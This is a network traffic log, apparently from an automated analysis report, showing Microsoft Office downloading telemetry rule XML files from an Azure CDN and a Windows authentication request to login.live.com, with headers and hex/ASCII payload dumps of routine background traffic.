2024-11-21 21:10:05 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:04 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:05 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211005Z-178bfbc474bw8bwphC1NYC38b400000001r0000000012vtd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:05 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:04 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:05 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211005Z-178bfbc474bv587zhC1NYCny5w00000001tg00000000vukv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:05 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:04 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:05 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211005Z-178bfbc474bxkclvhC1NYC69g400000001w000000000t6d4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:05 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:04 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:05 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211005Z-178bfbc474btrnf9hC1NYCb80g000000028g0000000013bm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:05 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49845	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-21 21:10:05 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:10:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:09:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_BAY x-ms-request-id: d618a8a6-fefa-4ebe-adbf-843f6ef8cd9c PPServer: PPV: 30 H: PH1PEPF00011EF0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:10:06 GMT Connection: close Content-Length: 11409
2024-11-21 21:10:06 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:07 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: e592c5af-601e-000d-69fb-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211007Z-r1d97b99577tssmjhC1TEB8kan0000000avg000000006dvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:07 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 17c3c293-501e-00a3-6567-3bc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211007Z-178bfbc474bq2pr7hC1NYCkfgg000000026g000000009s9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:07 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:07 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211007Z-1777c6cb754lv4cqhC1TEB13us0000000bqg0000000047d1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:07 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:07 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211007Z-178bfbc474bvjk8shC1NYC83ns00000001u000000000p9df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:07 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:07 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211007Z-174c587ffdf8fcgwhC1TEBnn7000000000gg00000000qk35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:07 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:09 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211010Z-178bfbc474bpscmfhC1NYCfc2c00000000kg00000000apbg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
